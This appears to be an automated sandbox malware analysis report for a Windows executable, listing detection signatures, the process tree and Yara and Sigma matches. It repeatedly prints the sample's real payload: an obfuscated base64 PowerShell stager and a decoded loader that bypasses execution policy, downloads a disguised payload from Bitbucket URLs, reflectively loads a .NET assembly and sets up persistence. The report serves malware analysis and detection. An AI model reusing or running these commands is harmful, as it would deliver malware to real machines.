Edit tour

Windows Analysis Report
nTHivMbGpg.exe

Overview

General Information

Sample name:	nTHivMbGpg.exe renamed because original name is a hash value
Original sample name:	e60cc4cdd031cca383ae7d7449eda37dd72d4ef864816d452a7df72a9d019337.exe
Analysis ID:	1524410
MD5:	8d797e4c1866e6542705a564b7fda527
SHA1:	207db5ae1e14888dc1b2d552ba49d45b7cc3b48f
SHA256:	e60cc4cdd031cca383ae7d7449eda37dd72d4ef864816d452a7df72a9d019337
Tags:	104-21-81-233exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Yara detected Powershell download and execute

AI detected suspicious sample

Bypasses PowerShell execution policy

Found suspicious powershell code related to unpacking or dynamic code loading

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious powershell command line found

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

nTHivMbGpg.exe (PID: 1664 cmdline: "C:\Users\user\Desktop\nTHivMbGpg.exe" MD5: 8D797E4C1866E6542705A564B7FDA527)

cmd.exe (PID: 7120 cmdline: cmd /c 124.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3724 cmdline: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#H##bgBn#FM#bwBl#G0#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#HI#ZwBm#GQ#LwB3#Gc#Z#Bz#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2412 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" MD5: 04029E121A0CFA5991749937DD22A1D9)

rundll32.exe (PID: 7244 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3724	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x612b8:$b2: ::FromBase64String( 0xb1aef:$b2: ::FromBase64String( 0xb1900:$b3: ::UTF8.GetString( 0x36c2a:$s1: -join 0xbbecb:$s1: -join 0x3531:$s3: reverse 0xed6f:$s3: reverse 0x84ccb:$s3: reverse 0x8b79e:$s3: reverse 0xd1dfd:$s3: reverse 0xd8a52:$s3: reverse 0xdaa39:$s3: reverse 0xe5a68:$s3: reverse 0x12c826:$s3: reverse 0x12cb14:$s3: reverse 0x12d22e:$s3: reverse 0x12d9e7:$s3: reverse 0x134ad2:$s3: reverse 0x134eec:$s3: reverse 0x135a74:$s3: reverse 0x136721:$s3: reverse
Process Memory Space: powershell.exe PID: 2412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2412	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x358a9:$b2: ::FromBase64String( 0xa3319:$b2: ::FromBase64String( 0xe058a:$b2: ::FromBase64String( 0xe772e:$b2: ::FromBase64String( 0xe83d7:$b2: ::FromBase64String( 0x1d573a:$b2: ::FromBase64String( 0x1f5629:$b2: ::FromBase64String( 0x28f36e:$b2: ::FromBase64String( 0x2cf13d:$b2: ::FromBase64String( 0x2d3e48:$b2: ::FromBase64String( 0x356ba:$b3: ::UTF8.GetString( 0xa312a:$b3: ::UTF8.GetString( 0xe039b:$b3: ::UTF8.GetString( 0xe753f:$b3: ::UTF8.GetString( 0xe81e8:$b3: ::UTF8.GetString( 0x1d554b:$b3: ::UTF8.GetString( 0x1f543a:$b3: ::UTF8.GetString( 0x28f17f:$b3: ::UTF8.GetString( 0x2cef4e:$b3: ::UTF8.GetString( 0x2d3c59:$b3: ::UTF8.GetString( 0x4d8b8:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_2412.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k